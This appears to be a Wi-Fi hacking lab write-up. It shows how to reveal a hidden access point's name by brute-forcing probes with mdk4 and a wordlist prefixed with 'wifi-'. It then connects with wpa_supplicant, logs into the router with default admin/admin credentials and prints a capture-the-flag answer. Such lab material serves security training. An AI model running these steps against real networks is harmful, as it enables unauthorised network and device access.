> For the complete documentation index, see [llms.txt](https://wifi-hacking.cavementech.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wifi-hacking.cavementech.com/hidden-wifi-networks.md).

# Hidden WIFI Networks

### Finding the ESSID of the hidden AP  <a href="#id-04-what-is-the-essid-of-the-hidden-ap-mac-f09fc26a8826" id="id-04-what-is-the-essid-of-the-hidden-ap-mac-f09fc26a8826"></a>

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2F8dSjKHObQMRb2X6ouObG%2Fimage.png?alt=media&amp;token=8bdcf687-0a5f-4a16-9001-5fd2af8bb66a" alt=""><figcaption></figcaption></figure>

Put the adapter in monitor mode and scan all bands

```
sudo airmon-ng start wlan0
```

```
sudo airodump-ng wlan0mon -w ~/wifi/scan --manufacturer --wps --band abg
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2F4zOtc8tkg76LcWxMkx5c%2Fimage.png?alt=media&amp;token=b44df226-f5e5-4938-b171-06ec95323196" alt=""><figcaption></figcaption></figure>

Now look at the terminal output on the slide. Many networks are visible. The network with MAC F0:9F:C2:6A:88:26 — has `<length: 0>` in the ESSID column. That's airodump-ng's way of telling you this AP is broadcasting a null SSID. That's our target. Note the BSSID and channel — channel 11.

{% hint style="info" %}
If you are listening passively and any client connects, real name of AP will be visible.
{% endhint %}

Before we run mdk4, we need the right wordlist. And this is where a bit of intelligence makes the difference between a fast hit and a very long wait.

Look at what we already know from the scan. All the other networks in range follow the same naming pattern — wifi-IT, wifi-management, wifi-offices. Every single one starts with \`wifi-\`. The hidden AP almost certainly follows the same convention. So instead of throwing a raw wordlist at it, we prepend \`wifi-\` to every entry.

The command does this in one line.

```bash
cat ~/10-million-password-list-top-100000.txt | awk '{print "wifi-" $1}' > ~/wifi-rockyou.txt 
```

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FxvvLJmf2INcn7PTbmOxs%2Fimage.png?alt=media&amp;token=4517e4b3-cdcc-454b-bb4d-08e8a18b990a" alt=""><figcaption></figcaption></figure>

Once we have the modified dictionary we can use “mdk4” to launch probes with each of the ESSIDs until the AP responds.

<pre class="language-bash"><code class="lang-bash"><strong>sudo airmon-ng start wlan1
</strong>iwconfig wlan1mon channel 11
mdk4 wlan1mon p -t F0:9F:C2:6A:88:26 -f ~/wifi-rockyou.txt
</code></pre>

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FbBmoPbkhxLAcfjvRDReZ%2Fimage.png?alt=media&amp;token=b23c5cf4-538f-4baa-9c6a-4e283686083a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FK2VUzOCwClCCRjRULufw%2Fimage.png?alt=media&amp;token=47cfd93f-fd58-4eba-adf6-8863d9216113" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
wifi-free
{% endhint %}

### Connecting to Hidden WIFI

Once we know your ESSID we can connect to the network, for that we create a “free.conf’ file to connect from bash using “wpa\_supplicant”.

```
nano free.conf
```

<figure><img src="https://wifi-hacking.cavementech.com/~gitbook/image?url=https%3A%2F%2F566300827-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FpRJWncf6N0vRLq29OrFf%252Fuploads%252FjLPYudLl38aowvbnjkH2%252Fimage.png%3Falt%3Dmedia%26token%3Dc7b35d9a-9a45-4709-ad5e-6fdd15e2468b&#x26;width=768&#x26;dpr=3&#x26;quality=100&#x26;sign=e83a406d&#x26;sv=2" alt=""><figcaption></figcaption></figure>

```
network={
	ssid="$ESSID"
	key_mgmt=NONE
	scan_ssid=1
}
```

<figure><img src="https://wifi-hacking.cavementech.com/~gitbook/image?url=https%3A%2F%2F566300827-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FpRJWncf6N0vRLq29OrFf%252Fuploads%252FaRfqQJ0gNFpdZXbSTB4y%252Fimage.png%3Falt%3Dmedia%26token%3D95d758f3-76f4-496c-9810-506353e1fbac&#x26;width=768&#x26;dpr=3&#x26;quality=100&#x26;sign=e45ddff3&#x26;sv=2" alt=""><figcaption></figcaption></figure>

```
sudo wpa_supplicant -Dnl80211 -iwlan2 -c free.conf
```

* **`wpa_supplicant`**: A daemon used to manage WPA/WPA2 authentication for Wi-Fi networks.
* **`-Dnl80211`**: Specifies the wireless driver backend.
  * `nl80211` is the modern driver used for most Linux wireless devices.
  * If `nl80211` doesn't work, you might try `wext` (legacy driver).
* **`-iwlan2`**: Specifies the wireless interface (`wlan2` in this case).
  * You should check your actual interface name using `iwconfig` or `ip link show`.
* **`-c free.conf`**: Specifies the configuration file (`free.conf`) containing network credentials and settings.

<figure><img src="https://wifi-hacking.cavementech.com/~gitbook/image?url=https%3A%2F%2F566300827-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FpRJWncf6N0vRLq29OrFf%252Fuploads%252FHGHeyMvjWcIsxFTsq2T5%252Fimage.png%3Falt%3Dmedia%26token%3Db1033ef1-a2ff-445b-b1c3-9f2df8ef7545&#x26;width=768&#x26;dpr=3&#x26;quality=100&#x26;sign=62988291&#x26;sv=2" alt=""><figcaption></figcaption></figure>

In another terminal as root:

```
sudo dhclient wlan2 -v
```

* **`sudo`**: Runs the command with superuser privileges.
* **`dhclient`**: A DHCP (Dynamic Host Configuration Protocol) client that requests an IP address from a DHCP server.
* **`wlan2`**: The name of the wireless interface requesting the IP.
* **`-v`**: Enables verbose mode to display detailed output.

<figure><img src="https://wifi-hacking.cavementech.com/~gitbook/image?url=https%3A%2F%2F566300827-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FpRJWncf6N0vRLq29OrFf%252Fuploads%252Fqmleoi1q5LcjmleuYULK%252Fimage.png%3Falt%3Dmedia%26token%3D8f69a5fc-d526-4278-b879-384cc64c68b2&#x26;width=768&#x26;dpr=3&#x26;quality=100&#x26;sign=978e4ee&#x26;sv=2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://wifi-hacking.cavementech.com/~gitbook/image?url=https%3A%2F%2F566300827-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FpRJWncf6N0vRLq29OrFf%252Fuploads%252FyXPxFzCboSbnPotOJ9FP%252Fimage.png%3Falt%3Dmedia%26token%3Ddd93857e-81b7-4c5f-94c0-5556f0234e11&#x26;width=768&#x26;dpr=3&#x26;quality=100&#x26;sign=6275cdda&#x26;sv=2" alt=""><figcaption></figcaption></figure>

Once connected to the network and get IP with “dhclient” we can access the IP at IP 192.168.16.1 where we see a login where we can test default credentials such as admin/admin, accessing the admin panel where you can find the flag.

```
admin/admin
```

<figure><img src="https://wifi-hacking.cavementech.com/~gitbook/image?url=https%3A%2F%2F566300827-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FpRJWncf6N0vRLq29OrFf%252Fuploads%252F9S3o7RmnnRtm6BEEwbxX%252Fimage.png%3Falt%3Dmedia%26token%3Ddec7a187-456e-44e7-b34f-9c39db08e33b&#x26;width=768&#x26;dpr=3&#x26;quality=100&#x26;sign=497edef&#x26;sv=2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://wifi-hacking.cavementech.com/~gitbook/image?url=https%3A%2F%2F566300827-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FpRJWncf6N0vRLq29OrFf%252Fuploads%252FWaW6qiLIAGelxhDW4KTr%252Fimage.png%3Falt%3Dmedia%26token%3D432caa00-09c8-484f-9e85-3f60f6ed0b75&#x26;width=768&#x26;dpr=3&#x26;quality=100&#x26;sign=3e5ca87&#x26;sv=2" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
flag{680efaa62f7e953c24667285173711bc6bb6d3ff}
{% endhint %}

**Alternate Method to connect**

<figure><img src="https://wifi-hacking.cavementech.com/~gitbook/image?url=https%3A%2F%2F566300827-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FpRJWncf6N0vRLq29OrFf%252Fuploads%252F8X3oWkwwXbIkfSsxQHz5%252Fimage.png%3Falt%3Dmedia%26token%3D9e15ae73-a2e3-497d-b22e-406f0ee0911a&#x26;width=768&#x26;dpr=3&#x26;quality=100&#x26;sign=dd648edb&#x26;sv=2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://wifi-hacking.cavementech.com/~gitbook/image?url=https%3A%2F%2F566300827-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FpRJWncf6N0vRLq29OrFf%252Fuploads%252Fk3U7hNC4Xz3xkfxmDq0L%252Fimage.png%3Falt%3Dmedia%26token%3D0bd1090d-0c26-4597-af45-333ef773c3fa&#x26;width=768&#x26;dpr=3&#x26;quality=100&#x26;sign=1cdffcd0&#x26;sv=2" alt=""><figcaption></figcaption></figure>
